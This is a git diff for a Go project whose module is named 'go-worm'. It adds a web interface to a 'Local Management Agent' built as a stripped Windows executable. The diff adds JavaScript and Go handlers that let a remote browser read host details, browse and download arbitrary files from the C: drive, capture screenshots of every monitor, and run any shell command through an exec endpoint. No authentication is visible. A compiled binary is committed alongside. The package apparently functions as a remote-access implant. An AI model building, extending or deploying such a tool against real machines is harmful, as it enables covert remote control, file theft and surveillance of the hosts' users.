diff --git a/README.md b/README.md
index e69de29..196a91b 100644
--- a/README.md
+++ b/README.md
@@ -0,0 +1,3 @@
+```
+GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o localagent.exe .
+```
\ No newline at end of file
diff --git a/lib/agent/agent.go b/lib/agent/agent.go
index 4f845fb..0f97fd2 100644
--- a/lib/agent/agent.go
+++ b/lib/agent/agent.go
@@ -53,7 +53,7 @@ func (a *Agent) Close() {
func (a *Agent) Serve() error {
mux := http.NewServeMux()
- mux.HandleFunc("/", a.handleIndex)
+ mux.HandleFunc("/", a.handleWeb)
mux.HandleFunc("/health", a.handleHealth)
mux.HandleFunc("/healthz", a.handleHealth)
mux.HandleFunc("/openapi.json", a.handleOpenAPI)
diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go
index 2b6a89c..ee889b4 100644
--- a/lib/agent/handlers.go
+++ b/lib/agent/handlers.go
@@ -23,15 +23,6 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
)
-func (a *Agent) handleIndex(w http.ResponseWriter, r *http.Request) {
- if r.URL.Path != "/" || r.Method != http.MethodGet {
- helpers.WriteError(w, http.StatusNotFound, "endpoint not found")
- return
- }
- w.Header().Set("Content-Type", "text/html; charset=utf-8")
- _, _ = io.WriteString(w, `
Local Management AgentLocal Management Agent
Version `+config.Version+`
Endpoints
GET /healthGET /api/v1/statusGET /api/v1/files?path=C:\&depth=0GET /api/v1/download?path=C:\path\file.txtGET /api/v1/screenshot?format=pngPOST /api/v1/exec
Examples
curl http://HOST:5032/api/v1/status
curl -o screen.png http://HOST:5032/api/v1/screenshot?format=png
curl -X POST http://HOST:5032/api/v1/exec -H "Content-Type: application/json" -d "{\"command\":\"ipconfig /all\"}"
`)
-}
-
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
diff --git a/lib/agent/web.go b/lib/agent/web.go
new file mode 100644
index 0000000..34b85dc
--- /dev/null
+++ b/lib/agent/web.go
@@ -0,0 +1,39 @@
+package agent
+
+import (
+ "embed"
+ "net/http"
+
+ "tea.chunkbyte.com/kato/go-worm/lib/helpers"
+)
+
+//go:embed web/index.html web/app.js
+var webFS embed.FS
+
+func (a *Agent) handleWeb(w http.ResponseWriter, r *http.Request) {
+ if r.Method != http.MethodGet {
+ helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+ return
+ }
+ name := ""
+ contentType := ""
+ switch r.URL.Path {
+ case "/", "/index.html":
+ name = "web/index.html"
+ contentType = "text/html; charset=utf-8"
+ case "/app.js":
+ name = "web/app.js"
+ contentType = "text/javascript; charset=utf-8"
+ default:
+ helpers.WriteError(w, http.StatusNotFound, "endpoint not found")
+ return
+ }
+ data, err := webFS.ReadFile(name)
+ if err != nil {
+ helpers.WriteError(w, http.StatusInternalServerError, "ui asset missing")
+ return
+ }
+ w.Header().Set("Content-Type", contentType)
+ w.Header().Set("Cache-Control", "no-cache")
+ _, _ = w.Write(data)
+}
diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js
new file mode 100644
index 0000000..9070d98
--- /dev/null
+++ b/lib/agent/web/app.js
@@ -0,0 +1,224 @@
+(() => {
+ const errorEl = document.getElementById("error");
+ const healthEl = document.getElementById("health");
+ const statusFields = document.getElementById("status-fields");
+ const pathInput = document.getElementById("file-path");
+ const fileMeta = document.getElementById("file-meta");
+ const fileRows = document.getElementById("file-rows");
+ const shotGallery = document.getElementById("shot-gallery");
+ const execOut = document.getElementById("exec-out");
+ const execMeta = document.getElementById("exec-meta");
+
+ let objectUrls = [];
+
+ function showError(message) {
+ errorEl.textContent = message || "";
+ errorEl.classList.toggle("show", Boolean(message));
+ }
+
+ async function readError(res) {
+ try {
+ const data = await res.json();
+ return data.error || res.statusText;
+ } catch {
+ return res.statusText || "request failed";
+ }
+ }
+
+ async function api(url, options) {
+ showError("");
+ const res = await fetch(url, options);
+ if (!res.ok) {
+ throw new Error(await readError(res));
+ }
+ return res;
+ }
+
+ function formatBytes(n) {
+ if (n < 1024) return `${n} B`;
+ const units = ["KB", "MB", "GB", "TB"];
+ let value = n / 1024;
+ let i = 0;
+ while (value >= 1024 && i < units.length - 1) {
+ value /= 1024;
+ i += 1;
+ }
+ return `${value.toFixed(value >= 10 ? 0 : 1)} ${units[i]}`;
+ }
+
+ function joinPath(base, name) {
+ if (!base) return name;
+ if (/[\\/]$/.test(base)) return base + name;
+ return `${base}\\${name}`;
+ }
+
+ function parentPath(path) {
+ const trimmed = String(path || "").replace(/[\\/]+$/, "");
+ const idx = Math.max(trimmed.lastIndexOf("\\"), trimmed.lastIndexOf("/"));
+ if (idx <= 2) return trimmed.slice(0, 3);
+ return trimmed.slice(0, idx);
+ }
+
+ function revokeShots() {
+ for (const url of objectUrls) URL.revokeObjectURL(url);
+ objectUrls = [];
+ }
+
+ async function loadHealth() {
+ try {
+ const res = await api("/health");
+ const data = await res.json();
+ healthEl.textContent = data.status === "ok" ? "online" : data.status;
+ healthEl.className = "badge ok";
+ } catch (err) {
+ healthEl.textContent = "offline";
+ healthEl.className = "badge bad";
+ showError(err.message);
+ }
+ }
+
+ async function loadStatus() {
+ const res = await api("/api/v1/status");
+ const data = await res.json();
+ const fields = [
+ ["Hostname", data.hostname],
+ ["User", data.user],
+ ["OS", data.os],
+ ["Architecture", data.architecture],
+ ["Version", data.agent_version],
+ ["Listen", data.listen_address],
+ ["Uptime", `${data.uptime_seconds}s`],
+ ["Local IPs", (data.local_ips || []).join(", ") || "—"],
+ ];
+ statusFields.replaceChildren(
+ ...fields.flatMap(([label, value]) => {
+ const dt = document.createElement("dt");
+ dt.textContent = label;
+ const dd = document.createElement("dd");
+ dd.textContent = value || "—";
+ return [dt, dd];
+ })
+ );
+ }
+
+ async function listFiles(path) {
+ const query = new URLSearchParams();
+ if (path) query.set("path", path);
+ query.set("depth", "0");
+ const res = await api(`/api/v1/files?${query}`);
+ const data = await res.json();
+ pathInput.value = data.path || "";
+ const entries = data.entries || [];
+ fileMeta.textContent = `${entries.length} entries`;
+ fileRows.replaceChildren();
+ for (const entry of entries) {
+ const tr = document.createElement("tr");
+ const name = document.createElement("td");
+ name.className = entry.type === "dir" ? "name" : "name file";
+ name.textContent = entry.name;
+ name.addEventListener("click", () => {
+ const full = joinPath(data.path, entry.name);
+ if (entry.type === "dir") {
+ listFiles(full).catch((err) => showError(err.message));
+ } else {
+ const link = document.createElement("a");
+ link.href = `/api/v1/download?path=${encodeURIComponent(full)}`;
+ link.download = entry.name;
+ document.body.append(link);
+ link.click();
+ link.remove();
+ }
+ });
+ const type = document.createElement("td");
+ type.textContent = entry.type;
+ const size = document.createElement("td");
+ size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0);
+ const modified = document.createElement("td");
+ modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : "";
+ tr.append(name, type, size, modified);
+ fileRows.append(tr);
+ }
+ }
+
+ async function captureScreen() {
+ revokeShots();
+ shotGallery.replaceChildren();
+ const format = document.getElementById("shot-format").value;
+ const quality = document.getElementById("shot-quality").value;
+ const res = await api(`/api/v1/screenshot?format=${encodeURIComponent(format)}&quality=${encodeURIComponent(quality)}`);
+ const contentType = res.headers.get("content-type") || "";
+ if (contentType.includes("application/json")) {
+ const data = await res.json();
+ for (const image of data.images || []) {
+ addShot(base64Blob(image.data_base64, image.content_type), `Monitor ${image.monitor}`);
+ }
+ return;
+ }
+ addShot(await res.blob(), "Display");
+ }
+
+ function base64Blob(data, contentType) {
+ const binary = atob(data);
+ const bytes = new Uint8Array(binary.length);
+ for (let i = 0; i < binary.length; i += 1) {
+ bytes[i] = binary.charCodeAt(i);
+ }
+ return new Blob([bytes], { type: contentType || "application/octet-stream" });
+ }
+
+ function addShot(blob, caption) {
+ const url = URL.createObjectURL(blob);
+ objectUrls.push(url);
+ const figure = document.createElement("figure");
+ const img = document.createElement("img");
+ img.src = url;
+ img.alt = caption;
+ const figcaption = document.createElement("figcaption");
+ figcaption.className = "meta";
+ figcaption.textContent = caption;
+ figure.append(img, figcaption);
+ shotGallery.append(figure);
+ }
+
+ async function runCommand() {
+ const command = document.getElementById("exec-command").value.trim();
+ const timeout = Number(document.getElementById("exec-timeout").value);
+ const res = await api("/api/v1/exec", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ command, timeout_sec: timeout }),
+ });
+ const data = await res.json();
+ execMeta.textContent = `exit code ${data.exit_code}`;
+ const stdout = data.stdout || "";
+ const stderr = data.stderr || "";
+ execOut.textContent = [stdout, stderr && `STDERR:\n${stderr}`].filter(Boolean).join("\n\n");
+ }
+
+ document.querySelectorAll("nav button").forEach((button) => {
+ button.addEventListener("click", () => {
+ document.querySelectorAll("nav button").forEach((item) => item.classList.remove("active"));
+ document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active"));
+ button.classList.add("active");
+ document.getElementById(button.dataset.tab).classList.add("active");
+ });
+ });
+
+ document.getElementById("refresh-status").addEventListener("click", () => {
+ Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message));
+ });
+ document.getElementById("file-list").addEventListener("click", () => {
+ listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
+ });
+ document.getElementById("file-up").addEventListener("click", () => {
+ listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message));
+ });
+ document.getElementById("shot-capture").addEventListener("click", () => {
+ captureScreen().catch((err) => showError(err.message));
+ });
+ document.getElementById("exec-run").addEventListener("click", () => {
+ runCommand().catch((err) => showError(err.message));
+ });
+
+ Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
+})();
diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html
new file mode 100644
index 0000000..5f3879a
--- /dev/null
+++ b/lib/agent/web/index.html
@@ -0,0 +1,191 @@
+
+
+
+
+
+ Local Management Agent
+
+
+
+
+ Local Management Agent
+ checking
+
+
+
+
+
+
+
Host status
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/localagent.exe b/localagent.exe
new file mode 100755
index 0000000..3047a1e
Binary files /dev/null and b/localagent.exe differ